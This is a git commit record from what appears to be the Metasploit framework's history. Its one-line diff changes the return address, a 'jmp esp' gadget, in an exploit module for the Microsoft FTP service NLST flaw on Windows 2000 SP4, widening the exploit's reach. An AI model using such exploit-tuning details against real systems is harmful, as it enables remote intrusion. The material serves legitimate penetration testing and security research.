Updated return address from Stephen Fewer, should work for a wider range now

git-svn-id: file:///home/svn/framework3/trunk@6994 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-01 17:34:47 +00:00 · 2009-09-01 17:34:47 +00:00 · 41ab69c600
parent 251810685f
commit 41ab69c600
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb
+++ b/modules/exploits/windows/ftp/microsoft_ftpd_nlst.rb
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
 						'Windows 2000 SP4 English/Italian (IIS 5.0)',
 						{
 							'Platform' => 'win',
-							'Ret'      => 0x77e3c256,  # jmp esp in user32 SP4 EN/IT
+							'Ret'      => 0x773d24eb,  # jmp esp in activeds.dll (English / 5.0.2195.6601)
 							'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
 						},
 					],